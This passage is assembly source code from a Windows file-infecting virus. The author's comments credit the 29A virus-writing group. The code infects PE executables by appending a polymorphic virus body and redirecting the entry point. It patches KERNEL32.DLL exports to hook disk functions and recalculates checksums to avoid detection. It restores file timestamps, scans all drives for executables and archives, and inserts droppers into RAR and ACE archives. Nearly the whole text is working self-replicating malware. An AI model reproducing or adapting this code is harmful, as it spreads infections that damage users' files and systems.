jz infect_file_unMap ;is it kernel32 infection ?
|
|||
|
|
|||
|
infect_file_no_dll:
|
|||
|
call __getLastObjectTable ;seek on last object table
|
|||
|
|
|||
|
; alloc memory for polymorphic engine
|
|||
|
mov eax,file_size + 30000h
|
|||
|
call malloc
|
|||
|
mov [ebp+mem_address],eax
|
|||
|
add eax,file_size
|
|||
|
mov [ebp+poly_start],eax
|
|||
|
|
|||
|
; get new entry-point (EXE), or change IT of kernel32 ?
|
|||
|
mov eax,[ebx+SH_SizeOfRawData]
|
|||
|
add eax,[ebx+SH_VirtualAddress]
|
|||
|
mov dword ptr [ebp+infected_ep],eax
|
|||
|
mov eax,[esi+NT_OptionalHeader.OH_AddressOfEntryPoint]
|
|||
|
mov dword ptr [ebp+original_ep],eax
|
|||
|
|
|||
|
mov [ebp+poly_finish],mem_size
|
|||
|
|
|||
|
; run Prizzy Polymorphic Engine (PPE-II)
|
|||
|
cmp dword ptr [ebp+it_is_kernel],00000000h
|
|||
|
jnz infect_file_common
|
|||
|
|
|||
|
call ppe_startup
|
|||
|
|
|||
|
; calculate maximum infected file size
|
|||
|
infect_file_common:
|
|||
|
mov eax,[ebx+SH_SizeOfRawData] ;file size
|
|||
|
add eax,[ebx+SH_PointerToRawData]
|
|||
|
add eax,[ebp+poly_finish] ; + virus file size
|
|||
|
add eax,00000004h ; + infected flag
|
|||
|
mov ecx,[esi+NT_OptionalHeader.OH_FileAlignment]
|
|||
|
xor edx,edx
|
|||
|
add eax,ecx
|
|||
|
dec eax
|
|||
|
div ecx
|
|||
|
mul ecx
|
|||
|
push eax
|
|||
|
|
|||
|
; unmap file object
|
|||
|
push [ebp+file_hmem]
|
|||
|
call [ebp+ddUnmapViewOfFile]
|
|||
|
|
|||
|
; close mapping file object
|
|||
|
push [ebp+file_hmap]
|
|||
|
call [ebp+ddCloseHandle]
|
|||
|
|
|||
|
; reopen memory mapped file object
|
|||
|
push 00000000h ;name of file mapping object
|
|||
|
push dword ptr [esp+0000004h];low 32 bits of object size
|
|||
|
push 00000000h ;high 32 bits of object size
|
|||
|
push PAGE_READWRITE ;get needed valuez, etc.
|
|||
|
push 00000000h ;optional security attributes
|
|||
|
push [ebp+file_handle] ;handle to file to map
|
|||
|
call [ebp+ddCreateFileMappingA]
|
|||
|
mov [ebp+file_hmap],eax ;store mapped file handle
|
|||
|
|
|||
|
; view of file in our memory
|
|||
|
push 00000000h ;number of bytes to map
|
|||
|
push 00000000h ;low 32 bits of the offset
|
|||
|
push 00000000h ;high 32 bits of the offset
|
|||
|
push FILE_MAP_WRITE ;access mode
|
|||
|
push [ebp+file_hmap] ;mapped file handle
|
|||
|
call [ebp+ddMapViewOfFile]
|
|||
|
mov [ebp+file_hmem],eax ;mapped file in memory
|
|||
|
|
|||
|
; seek on last object table
|
|||
|
add eax,[eax.MZ_lfanew]
|
|||
|
mov esi,eax
|
|||
|
call __getLastObjectTable
|
|||
|
|
|||
|
; infect "KERNEL32" file OR change EntryPoint
|
|||
|
cmp dword ptr [ebp+it_is_kernel],00000000h
|
|||
|
jz infect_file_entry
|
|||
|
mov [ebp+__pllg_lsize],00000000h ;more info in that func
|
|||
|
call infect_file_kernel ;hook "kernel32" table :)
|
|||
|
jmp infect_file_no_change
|
|||
|
infect_file_entry:
|
|||
|
mov eax,dword ptr [ebp+infected_ep]
|
|||
|
add eax,[ebp+file_size3]
|
|||
|
mov [esi+NT_OptionalHeader.OH_AddressOfEntryPoint],eax
|
|||
|
|
|||
|
; copy mem_address (virus body) to the end of file
|
|||
|
infect_file_no_change:
|
|||
|
push esi
|
|||
|
mov esi,[ebp+mem_address] ;source data
|
|||
|
mov edi,[ebx+SH_SizeOfRawData]
|
|||
|
add edi,[ebx+SH_PointerToRawData]
|
|||
|
add edi,[ebp+file_hmem] ;destination pointer
|
|||
|
mov ecx,[ebp+poly_finish] ;number of bytes to copy
|
|||
|
rep movsb
|
|||
|
pop esi
|
|||
|
|
|||
|
; calculate new physical size
|
|||
|
mov eax,[ebp+poly_finish]
|
|||
|
cmp dword ptr [ebp+it_is_kernel],00000000h
|
|||
|
jz $ + 7 ;this isn't logic but i had
|
|||
|
mov eax,mem_size ;problems in k32 memory
|
|||
|
add eax,[ebx+SH_SizeOfRawData]
|
|||
|
mov ecx,[esi+NT_OptionalHeader.OH_FileAlignment]
|
|||
|
xor edx,edx
|
|||
|
add eax,ecx
|
|||
|
dec eax
|
|||
|
div ecx
|
|||
|
mul ecx
|
|||
|
mov [ebx+SH_SizeOfRawData],eax
|
|||
|
|
|||
|
; calculate new potential virtual size
|
|||
|
mov eax,[ebx+SH_VirtualSize]
|
|||
|
add eax,mem_size
|
|||
|
mov ecx,[esi+NT_OptionalHeader.OH_SectionAlignment]
|
|||
|
xor edx,edx
|
|||
|
add eax,ecx
|
|||
|
dec eax
|
|||
|
div ecx
|
|||
|
mul ecx
|
|||
|
|
|||
|
; if new phys_size > virt_size ==> virt_size = phys_size
|
|||
|
cmp eax,[ebx+SH_SizeOfRawData]
|
|||
|
jnc infect_file_no_update
|
|||
|
mov eax,[ebx+SH_SizeOfRawData]
|
|||
|
infect_file_no_update:
|
|||
|
mov [ebx+SH_VirtualSize],eax
|
|||
|
|
|||
|
add eax,[ebx+SH_VirtualAddress]
|
|||
|
|
|||
|
; infected host increased an image size ?
|
|||
|
cmp eax,[esi+NT_OptionalHeader.OH_SizeOfImage]
|
|||
|
jc infect_no_update_2
|
|||
|
mov [esi+NT_OptionalHeader.OH_SizeOfImage],eax
|
|||
|
infect_no_update_2:
|
|||
|
|
|||
|
; set these PE flags
|
|||
|
or dword ptr [ebx+SH_Characteristics], \
|
|||
|
IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or \
|
|||
|
IMAGE_SCN_MEM_WRITE
|
|||
|
|
|||
|
; already infected flag
|
|||
|
mov eax,02302301h ;special number
|
|||
|
call ppe_get_rnd_range
|
|||
|
inc eax ;it can't be zero
|
|||
|
imul eax,117 ;encrypt one
|
|||
|
pop edi ;file size + virus size
|
|||
|
mov [ebp+file_hsize],edi
|
|||
|
add edi,[ebp+file_hmem] ;mapped file in memory
|
|||
|
mov [edi-00000004h],eax ;already infected flag
|
|||
|
|
|||
|
; calculate new checksum because of Win2k and WinNT :)
|
|||
|
cmp dword ptr [esi+NT_OptionalHeader. \
|
|||
|
OH_CheckSum],00000000h
|
|||
|
jz infect_file_no_checksum
|
|||
|
@pushsz "IMAGEHLP.DLL" ;load "IMAGEHLP.DLL" library
|
|||
|
call [ebp+ddLoadLibraryA]
|
|||
|
or eax,eax ;failed ?
|
|||
|
jz infect_file_no_checksum
|
|||
|
push eax ;parameter for FreeLibrary
|
|||
|
|
|||
|
; get function to calculate checksum
|
|||
|
@pushsz "CheckSumMappedFile" ;get address of this function
|
|||
|
push eax ;library handle
|
|||
|
call [ebp+ddGetProcAddress]
|
|||
|
or eax,eax
|
|||
|
jz infect_file_deload
|
|||
|
|
|||
|
; calculate checksum
|
|||
|
lea ecx,[esi+NT_OptionalHeader.OH_CheckSum]
|
|||
|
push ecx ;receives computed checksum
|
|||
|
call $+9 ;header old checksum
|
|||
|
dd ?
|
|||
|
push dword ptr [ebp+file_hsize]
|
|||
|
push [ebp+file_hmem] ;memory mapped address
|
|||
|
call eax
|
|||
|
|
|||
|
infect_file_deload:
|
|||
|
call [ebp+ddFreeLibrary]
|
|||
|
|
|||
|
; dealloc memory for PPE-II
|
|||
|
infect_file_no_checksum:
|
|||
|
mov eax,[ebp+mem_address]
|
|||
|
call mdealloc
|
|||
|
|
|||
|
; new infected file
|
|||
|
inc dword ptr [ebp+file_infected]
|
|||
|
|
|||
|
; use for acrhive dropper ?
|
|||
|
cmp dword ptr [ebp+dta.dta_filesize],30000
|
|||
|
ja infect_file_unMap ;for archive fsize < 30Kb
|
|||
|
push [ebp+file_hmem] ;mapped file in memory
|
|||
|
call [ebp+ddUnmapViewOfFile]
|
|||
|
push [ebp+file_hmap] ;mapped file object
|
|||
|
call [ebp+ddCloseHandle]
|
|||
|
mov ebx,[ebp+file_handle] ;I must close infected file
|
|||
|
call __MyCloseFile ;coz I'll copy it, etcetera
|
|||
|
call __add_dropper ;compress it by ZIP, RAR ...
|
|||
|
jmp infect_file_restattr
|
|||
|
|
|||
|
infect_file_unMap:
|
|||
|
push [ebp+file_hmem] ;mapped file in memory
|
|||
|
call [ebp+ddUnmapViewOfFile]
|
|||
|
infect_file_closeMap:
|
|||
|
push [ebp+file_hmap] ;mapped file object
|
|||
|
call [ebp+ddCloseHandle]
|
|||
|
infect_file_time:
|
|||
|
lea eax,[ebp+dta.dta_time_lastwrite]
|
|||
|
lea ecx,[ebp+dta.dta_time_lastaccess]
|
|||
|
lea edx,[ebp+dta.dta_time_creation]
|
|||
|
call [ebp+ddSetFileTime], \
|
|||
|
[ebp+file_handle], \
|
|||
|
edx, ecx, eax
|
|||
|
infect_file_close:
|
|||
|
mov ebx,[ebp+file_handle] ;close file handle
|
|||
|
call __MyCloseFile
|
|||
|
infect_file_restattr:
|
|||
|
mov ecx,[ebp+dta.dta_fileattr]
|
|||
|
mov edx,[ebp+filename_ptr] ;restore file attributes
|
|||
|
call __MySetAttrFile
|
|||
|
|
|||
|
infect_file_exit:
|
|||
|
popa ;go to HyperInfection or to
|
|||
|
ret ;Kernel32 hooked functions
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;Common file infected semi-functions.
|
|||
|
;
|
|||
|
__getLastObjectTable:
|
|||
|
movzx eax,[esi+NT_FileHeader.FH_NumberOfSections]
|
|||
|
cdq
|
|||
|
mov ecx,IMAGE_SIZEOF_SECTION_HEADER
|
|||
|
dec eax
|
|||
|
mul ecx ;eax=offs of last section
|
|||
|
|
|||
|
movzx edx,[esi+NT_FileHeader.FH_SizeOfOptionalHeader]
|
|||
|
add eax,edx
|
|||
|
add eax,esi
|
|||
|
add eax,offset NT_OptionalHeader.OH_Magic ;seek to l.o. table
|
|||
|
|
|||
|
xchg eax,ebx
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to hook some funtions from KERNEL32.DLL <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;At last I've finished this unpalatable function. I remem-
|
|||
|
;ber how hardly I have found an interesting source about
|
|||
|
;this method because I have many many problems with this.
|
|||
|
;So, let's begin. At first I will get these addresses:
|
|||
|
; * name table pointer (as are function names)
|
|||
|
; * address table pointer (as are functions addresses)
|
|||
|
; * ordinal table pointer
|
|||
|
;Then I'll get function name, calculate its CRC32 and I'll
|
|||
|
;compare it with my future-hooked CRC32 table. If I will
|
|||
|
;find it, i will save its original address, replace by my
|
|||
|
;my new offset and I'll write it to the file.
|
|||
|
;
|
|||
|
;I would like to thank:
|
|||
|
; * "Memory Lapse" for his "Win32.Heretic" source
|
|||
|
; * Darkman/29A for giving me that source
|
|||
|
;
|
|||
|
;I must infect "kernel32.dll" because I must hook all disk
|
|||
|
;functions because of "Prizzy Hyper Infection for API".
|
|||
|
;
|
|||
|
infect_file_kernel:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
|
|||
|
; check address of APIs in KERNEL32 file body
|
|||
|
mov eax,[ebp+file_hmem]
|
|||
|
add eax,[eax.MZ_lfanew] ;go to new "PE" header
|
|||
|
|
|||
|
mov eax,dword ptr [eax.OH_DirectoryEntries + \
|
|||
|
IMAGE_SIZEOF_FILE_HEADER + \
|
|||
|
00000004h] ;get Export Directory Table
|
|||
|
add eax,[ebp+file_hmem]
|
|||
|
|
|||
|
mov ebx,[eax.ED_AddressOfOrdinals]
|
|||
|
mov esi,[eax.ED_AddressOfNames]
|
|||
|
mov edx,[eax.ED_AddressOfFunctions]
|
|||
|
push [eax.ED_BaseOrdinal] ;save BaseOrdinal
|
|||
|
add eax,[eax.ED_BaseOrdinal]
|
|||
|
|
|||
|
add ebx,[ebp+file_hmem] ;adjust ordinal table pointer
|
|||
|
add esi,[ebp+file_hmem] ;adjust name table pointer
|
|||
|
add edx,[ebp+file_hmem] ;adjust address table pointer
|
|||
|
push edx esi ebx ;save startup values
|
|||
|
|
|||
|
; main loop
|
|||
|
lea edi,[ebp+Hooked_API]
|
|||
|
mov ecx,00000001h
|
|||
|
__ifk_next_loop:
|
|||
|
push edx ;address table pointer
|
|||
|
push ecx ;save counter
|
|||
|
shl ecx,01h ;convert to word index
|
|||
|
|
|||
|
movzx eax,word ptr [ebx+ecx] ;calculate ordinal index
|
|||
|
sub eax,[esp+00000014h] ;relative to ordinal basee
|
|||
|
shl eax,02h ;convert to dword index
|
|||
|
|
|||
|
mov edx,eax
|
|||
|
mov ecx,[esp+00000010h] ;address pointer table
|
|||
|
|
|||
|
add eax,ecx ;calculate offset
|
|||
|
lea ecx,[ecx+edx] ;RVA of API
|
|||
|
|
|||
|
push esi ;address name table
|
|||
|
mov esi,[esi] ;get pointer from name table
|
|||
|
add esi,[ebp+file_hmem]
|
|||
|
call __get_CRC32 ;get CRC32 for function name
|
|||
|
cmp eax,[edi] ;compare CRC32
|
|||
|
pop esi
|
|||
|
jnz __ifk_not_found
|
|||
|
|
|||
|
push edi ;load original function addr
|
|||
|
lea eax,[ebp+Hooked_API]
|
|||
|
sub edi,eax
|
|||
|
shl edi,01h ;so, (x/2)*8
|
|||
|
lea eax,[ebp+Hooked_API_functions]
|
|||
|
add edi,eax
|
|||
|
mov eax,[edi] ;get address into "jmp ????"
|
|||
|
add eax,ebp ;ehm, adjust that address
|
|||
|
mov ebx,[ecx] ;load original address
|
|||
|
add ebx,[ebp+kernel_base]
|
|||
|
mov [eax],ebx ;save original func. address
|
|||
|
mov eax,[edi+00000004h] ;load new address in v.body
|
|||
|
pop edi
|
|||
|
add edi,00000004h ;next CRC32 function value
|
|||
|
|
|||
|
sub eax,offset virus_start ; - "offset"
|
|||
|
add eax,[ebp+dta.dta_filesize] ;new func. pos in "k32"
|
|||
|
mov [ecx],eax
|
|||
|
|
|||
|
; for next loop I must restart these values
|
|||
|
mov ebx,[esp+00000008h] ;load ordinal table pointer
|
|||
|
mov esi,[esp+0000000Ch] ;load name table pointer
|
|||
|
mov edx,[esp+00000010h] ;load address table pointer
|
|||
|
mov dword ptr [esp],00000000h ;reset counter
|
|||
|
mov [esp+00000004h],edx ;reset address table pointer
|
|||
|
jmp __ifk_no_change ;this was fucking bug !
|
|||
|
|
|||
|
__ifk_not_found:
|
|||
|
add esi,00000004h ;next name pointer
|
|||
|
add dword ptr [esp + \ ;next function pointer
|
|||
|
00000004h],00000004h
|
|||
|
__ifk_no_change:
|
|||
|
pop ecx ;functions counter
|
|||
|
inc ecx ;next function
|
|||
|
pop edx ;address table pointer
|
|||
|
cmp dword ptr [edi],00000000h ;end of hooked functions ?
|
|||
|
jnz __ifk_next_loop
|
|||
|
|
|||
|
mov dword ptr [ebp+it_is_kernel],00000000h
|
|||
|
mov dword ptr [ebp+HyperInfection_k32],00000000h
|
|||
|
|
|||
|
; write this virus body to the end of "kernel32.dll"
|
|||
|
; virus body cannot be encrypted...
|
|||
|
lea esi,[ebp+virus_start] ;start of virus body
|
|||
|
mov edi,[ebp+mem_address] ;allocated memory
|
|||
|
mov ecx,mem_size
|
|||
|
rep movsb
|
|||
|
|
|||
|
mov dword ptr [ebp+it_is_kernel],00000001h
|
|||
|
mov eax,mem_size ;without poly-engine !!!
|
|||
|
mov [ebp+poly_finish],eax
|
|||
|
|
|||
|
add esp,4*4
|
|||
|
popa
|
|||
|
ret ;complex way how to go back
|
|||
|
|
|||
|
;<3B><>Ĵ main function of infect all filez on disks <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function searchs these extensions on all disks:
|
|||
|
; EXE, ZIP, ARJ, RAR, ACE, CAB, ...
|
|||
|
;and many namez, find "HyperTable" struct for more info.
|
|||
|
;If you want to know more about this method, open "Hyper
|
|||
|
;Infection" article in 29A #4, or download one from my web
|
|||
|
;
|
|||
|
;Note: * This is version for API, for IDT orientation use
|
|||
|
; code from "Win95.Prizzy", thanks.
|
|||
|
;
|
|||
|
init_search:
|
|||
|
|
|||
|
pusha
|
|||
|
call get_base_ebp ;where we're into ebp
|
|||
|
|
|||
|
mov ebx,[ebp+search_table] ;position in HyperTable
|
|||
|
cmp byte ptr [ebp+search_start],00h
|
|||
|
jnz __continue
|
|||
|
mov byte ptr [ebp+search_start],01h
|
|||
|
call get_disks ;get drive parameters
|
|||
|
lea eax,[ebp+time]
|
|||
|
push eax
|
|||
|
call [ebp+ddGetSystemTime] ;get actual time
|
|||
|
|
|||
|
mov eax,search_mem_size ;size of mem for searching
|
|||
|
call malloc
|
|||
|
jz init_search_error ;were we sucessful ?
|
|||
|
mov [ebp+search_address],eax
|
|||
|
|
|||
|
mov eax,005C3A43h ;'C:\\0'
|
|||
|
mov dword ptr [ebp+search_filename],eax
|
|||
|
__searching:
|
|||
|
mov byte ptr [ebp+search_plunge],00h
|
|||
|
jmp search_all_dirs
|
|||
|
__searching_end:
|
|||
|
cmp byte ptr [ebp+search_filename],'Z'
|
|||
|
jz init_search_done
|
|||
|
inc byte ptr [ebp+search_filename]
|
|||
|
mov word ptr [ebp+search_filename+2],005Ch
|
|||
|
|
|||
|
; what disk is it ? fixed ? cd-rom ? ram-disk ? etc. ?
|
|||
|
mov cl,'A'
|
|||
|
sub cl,[ebp+search_filename]
|
|||
|
neg cl
|
|||
|
mov eax,00000001h
|
|||
|
shl eax,cl ;convert to BCD
|
|||
|
test [ebp+gdt_flags],eax
|
|||
|
jnz __searching ;may I "use" this disk ?
|
|||
|
jmp __searching_end ;uaaaaah, i'm crazy... :)
|
|||
|
|
|||
|
init_search_exit:
|
|||
|
mov ecx,dword ptr [ebp+search_address]
|
|||
|
call mdealloc ;deallocate memory
|
|||
|
|
|||
|
init_search_error:
|
|||
|
popa ;restore all regz
|
|||
|
ret
|
|||
|
|
|||
|
init_search_done: ;all disks infected?
|
|||
|
call hookHyperInfection_Done ;remove timer
|
|||
|
jmp init_search_exit
|
|||
|
|
|||
|
search_all_dirs:
|
|||
|
lea ebx,[ebp+HyperTable]
|
|||
|
search_all_dirs_continue:
|
|||
|
call __add_filename ;add filename or extension
|
|||
|
|
|||
|
call __calc_in_mem ;offs dta in mem to esi
|
|||
|
|
|||
|
lea edx,[ebp+search_filename]
|
|||
|
call __MyFindFirst
|
|||
|
mov [esi-size search_handle],eax ;save handle
|
|||
|
jc __find_dir ;error ?
|
|||
|
|
|||
|
__repeat:
|
|||
|
call __clean ;delete extension
|
|||
|
push esi
|
|||
|
lea esi,[esi].dta_filename ;and add file name
|
|||
|
@copysz ;copy with zero char
|
|||
|
pop esi ;restore esi=dta in memory
|
|||
|
lea eax,[ebp+search_filename]
|
|||
|
mov [ebp+filename_ptr],eax
|
|||
|
|
|||
|
__final_SoftICE_1:
|
|||
|
nop
|
|||
|
nop
|
|||
|
; int 4 ;final SoftICE breakpoint
|
|||
|
|
|||
|
mov eax,[ebx-00000004h] ;input value
|
|||
|
push dword ptr [ebx-00000008h]
|
|||
|
add [esp],ebp ;this was ghastly bug !
|
|||
|
call [esp] ;call function
|
|||
|
pop eax
|
|||
|
|
|||
|
push word ptr [ebp+time.wSecond]
|
|||
|
lea eax,[ebp+time] ;give time other appz
|
|||
|
push eax
|
|||
|
call [ebp+ddGetSystemTime]
|
|||
|
pop cx
|
|||
|
mov [ebp+search_table],ebx ;position in HyperTable
|
|||
|
cmp cx,[ebp+time.wSecond] ;out of time ?
|
|||
|
jnz init_search_error
|
|||
|
|
|||
|
__continue:
|
|||
|
call __calc_in_mem ;esi=dta in memory
|
|||
|
mov eax,[esi-size search_handle] ;handle of FindFirstFile
|
|||
|
call __MyFindNext
|
|||
|
jnc __repeat
|
|||
|
call __MyFindClose
|
|||
|
|
|||
|
__find_dir:
|
|||
|
call __clean ;remove file name/extension
|
|||
|
cmp byte ptr [ebx],0FFh ;last file name ?
|
|||
|
jnz search_all_dirs_continue
|
|||
|
|
|||
|
__find_dir_continue:
|
|||
|
mov [edi],002A2E2Ah ;add '*.*',0
|
|||
|
|
|||
|
call __calc_in_mem
|
|||
|
lea edx,[ebp+search_filename]
|
|||
|
|
|||
|
call __MyFindFirst ;search directory "only"
|
|||
|
mov [esi-size search_handle],eax
|
|||
|
jc __search_exit
|
|||
|
|
|||
|
__find_in_dir:
|
|||
|
test [esi].dta_fileattr,10h ;is it directory ?
|
|||
|
jz __find_next
|
|||
|
cmp [esi].dta_filename,'.' ;it can't be directory
|
|||
|
jz __find_next
|
|||
|
|
|||
|
inc byte ptr [ebp+search_plunge]
|
|||
|
|
|||
|
call __get_last_char ;edi=last char of filename
|
|||
|
lea esi,[esi].dta_filename ;esi=filename
|
|||
|
|
|||
|
call __clean ;remove extension
|
|||
|
|
|||
|
@copysz ;copy directory name and
|
|||
|
mov word ptr [edi-1],005Ch ;set '\' at the end
|
|||
|
|
|||
|
jmp search_all_dirs ;search in new directory
|
|||
|
|
|||
|
__find_next:
|
|||
|
call __calc_in_mem
|
|||
|
mov eax,[esi-size search_handle]
|
|||
|
call __MyFindNext
|
|||
|
jnc __find_in_dir
|
|||
|
|
|||
|
__search_exit:
|
|||
|
call __clean ;remove file name and '\'
|
|||
|
mov byte ptr [edi-1],00h ;it's out of directory
|
|||
|
dec byte ptr [ebp+search_plunge]
|
|||
|
cmp byte ptr [ebp+search_filename+2],00h
|
|||
|
jz __searching_end
|
|||
|
jmp __find_next
|
|||
|
|
|||
|
__calc_in_mem: ;get pointer to dta in memory
|
|||
|
movzx esi,byte ptr [ebp+search_plunge]
|
|||
|
imul esi,size dta+size search_handle
|
|||
|
add esi,[ebp+search_address]
|
|||
|
add esi,size search_handle
|
|||
|
ret
|
|||
|
|
|||
|
__add_filename: ;add f.n. or ext by HyperTable
|
|||
|
call __get_last_char
|
|||
|
cmp byte ptr [ebx],00h ;only extension ?
|
|||
|
jnz __af_fullcopy
|
|||
|
mov eax,[ebx+1] ;load extension
|
|||
|
mov byte ptr [edi],2Ah ;'*'
|
|||
|
mov [edi+1],eax ;and extension
|
|||
|
mov byte ptr [edi+5],00h ;zero byte
|
|||
|
add ebx,HyperTable_OneSize
|
|||
|
cmp byte ptr [ebx - \
|
|||
|
HyperTable_HalfSize],00h;search this extension ?
|
|||
|
jz __aff_finish
|
|||
|
pop eax
|
|||
|
jmp __find_dir
|
|||
|
__aff_finish:
|
|||
|
ret
|
|||
|
|
|||
|
__af_fullcopy:
|
|||
|
inc ebx
|
|||
|
mov al,byte ptr [ebx] ;load filename's char
|
|||
|
mov [edi],al
|
|||
|
inc edi
|
|||
|
or al,al ;end of filename ?
|
|||
|
jnz __af_fullcopy
|
|||
|
add ebx,HyperTable_HalfSize+1;+1 means zero byte
|
|||
|
cmp byte ptr [ebx - \
|
|||
|
HyperTable_HalfSize],00h;search this filename ?
|
|||
|
jz __aff_finish
|
|||
|
pop eax
|
|||
|
jmp __find_dir
|
|||
|
|
|||
|
__get_last_char: ;edi=last char+1 in filename
|
|||
|
lea edi,[ebp+search_filename]
|
|||
|
mov ecx,filename_size
|
|||
|
xor al,al
|
|||
|
cld
|
|||
|
repnz scasb
|
|||
|
dec edi
|
|||
|
ret
|
|||
|
|
|||
|
__clean: ;clean last item in filename
|
|||
|
lea edx,[ebp+search_filename]
|
|||
|
call __get_last_char
|
|||
|
__2:mov byte ptr [edi],0
|
|||
|
dec edi
|
|||
|
cmp byte ptr [edi],'\'
|
|||
|
jnz __2
|
|||
|
inc edi
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ infection in ACE/RAR and ACE/RAR EXE-SFX archivez <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function scans input EXE file whether it is not SFX
|
|||
|
;for RAR (Dos,W32) or for ACE (Dos,Win32 - German/English)
|
|||
|
;If yes, I will put compressed dropper in the end of file.
|
|||
|
;Why that ? See on "infect_ACE:" comment for more info.
|
|||
|
;
|
|||
|
__iSFX_fHandle dd 00000000h ;file's handle
|
|||
|
__iSFX_fMemory dd 00000000h ;file's headers
|
|||
|
__iSFX_nCompare dd 00000000h ;comparing places
|
|||
|
;
|
|||
|
infect_ACE_RAR:
|
|||
|
|
|||
|
; open input file
|
|||
|
mov edx,[ebp+filename_ptr]
|
|||
|
call __MyOpenFile
|
|||
|
jc __iSFX_finish
|
|||
|
mov [ebp+__iSFX_fHandle],eax
|
|||
|
|
|||
|
; allocate memory for comparing
|
|||
|
mov eax,10000h
|
|||
|
call malloc
|
|||
|
mov [ebp+__iSFX_fMemory],eax
|
|||
|
|
|||
|
; we must search certain bytes on certain file position
|
|||
|
mov [ebp+__iSFX_nCompare],7 ;six! comparing
|
|||
|
__iSFX_search_1:
|
|||
|
dec [ebp+__iSFX_nCompare]
|
|||
|
jz __iSFX_sEnd
|
|||
|
lea ebx,[ebp+Archive_MagicWhere]
|
|||
|
__iSFX_magic_okay:
|
|||
|
mov eax,[ebp+__iSFX_nCompare]
|
|||
|
imul eax,00000004h
|
|||
|
add ebx,eax
|
|||
|
movzx ecx,word ptr [ebx-0002h] ;ecx=bytes to read
|
|||
|
movzx esi,word ptr [ebx-0004h] ;esi=file pos
|
|||
|
|
|||
|
; now, i will read datas
|
|||
|
mov edx,[ebp+__iSFX_fMemory] ;allocated place
|
|||
|
mov ebx,[ebp+__iSFX_fHandle]
|
|||
|
call __MyReadFile ;i can't check error!
|
|||
|
|
|||
|
; prepare to scan
|
|||
|
mov edi,[ebp+__iSFX_fMemory]
|
|||
|
mov ebx,edi
|
|||
|
add ebx,ecx ;end of memory buffer
|
|||
|
__iSFX_search_2:
|
|||
|
cmp edi,ebx
|
|||
|
ja __iSFX_search_1
|
|||
|
|
|||
|
; search archive's signatures
|
|||
|
lea esi,[ebp+RAR_Magic] ;no, esi=RAR_Magic
|
|||
|
mov ecx,RAR_Magic_Length ;and its size
|
|||
|
cmp [ebp+__iSFX_nCompare],00000004h
|
|||
|
jae __iSFX_s2_continue ;is it really RAR ?
|
|||
|
lea esi,[ebp+ACE_Magic] ;esi=ACE_Magic
|
|||
|
mov ecx,ACE_Magic_Length ;and its size
|
|||
|
__iSFX_s2_continue:
|
|||
|
cld
|
|||
|
rep cmpsb ;compare magics
|
|||
|
jnz __iSFX_search_2 ;shit, we must search on other place
|
|||
|
|
|||
|
; position on header's start
|
|||
|
sub edi,RAR_Magic_Length
|
|||
|
cmp [ebp+__iSFX_nCompare],00000004h
|
|||
|
jae __iSFX_h_read
|
|||
|
sub edi,2*ACE_Magic_Length-RAR_Magic_Length
|
|||
|
__iSFX_h_read:
|
|||
|
|
|||
|
; check multivolume flag
|
|||
|
cmp [ebp+__iSFX_nCompare],00000004h
|
|||
|
jae __iSFX_mf_rar
|
|||
|
test word ptr [edi+ACEhHeadFlags-ACE_h_struct],2048
|
|||
|
jmp __iSFX_mf_finish
|
|||
|
__iSFX_mf_rar:
|
|||
|
test word ptr [edi+RARFileFlags-RARSignature],0001h
|
|||
|
__iSFX_mf_finish:
|
|||
|
jnz __iSFX_sEnd
|
|||
|
|
|||
|
; call "child" functions, set certain input parameters
|
|||
|
mov eax,[ebp+__iSFX_fHandle]
|
|||
|
mov [ebp+__iACR_fHandle],eax ;modify handle
|
|||
|
|
|||
|
mov [ebp+__iACR_Type],__iACR_tRAR ;yeah, RAR archive
|
|||
|
cmp [ebp+__iSFX_nCompare],00000004h
|
|||
|
jae __iSFX_cc_finish
|
|||
|
mov [ebp+__iACR_Type],__iACR_tACE ;yeah, ACE archive
|
|||
|
__iSFX_cc_finish:
|
|||
|
mov ebx,[ebp+__iSFX_fHandle] ;check whether SFX
|
|||
|
call __get_archive_infected ;archive has been
|
|||
|
jc __iSFX_fClose ;infected
|
|||
|
|
|||
|
call __iACR_child_function ;call main function
|
|||
|
jmp __iSFX_finish ;to infect ACE or RAR
|
|||
|
|
|||
|
__iSFX_sEnd:
|
|||
|
call __iSFX_fClose
|
|||
|
stc
|
|||
|
ret
|
|||
|
|
|||
|
__iSFX_fClose:
|
|||
|
mov ebx,[ebp+__iSFX_fHandle]
|
|||
|
call __MyCloseFile
|
|||
|
__iSFX_finish:
|
|||
|
clc
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ infection in ACE, RAR archivez <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function infects ACE and RAR archivez. Unfortunately
|
|||
|
;I can't my dropper place inside archive 'cause if archive
|
|||
|
;is solid type resulting archive won't okay. Yes, this was
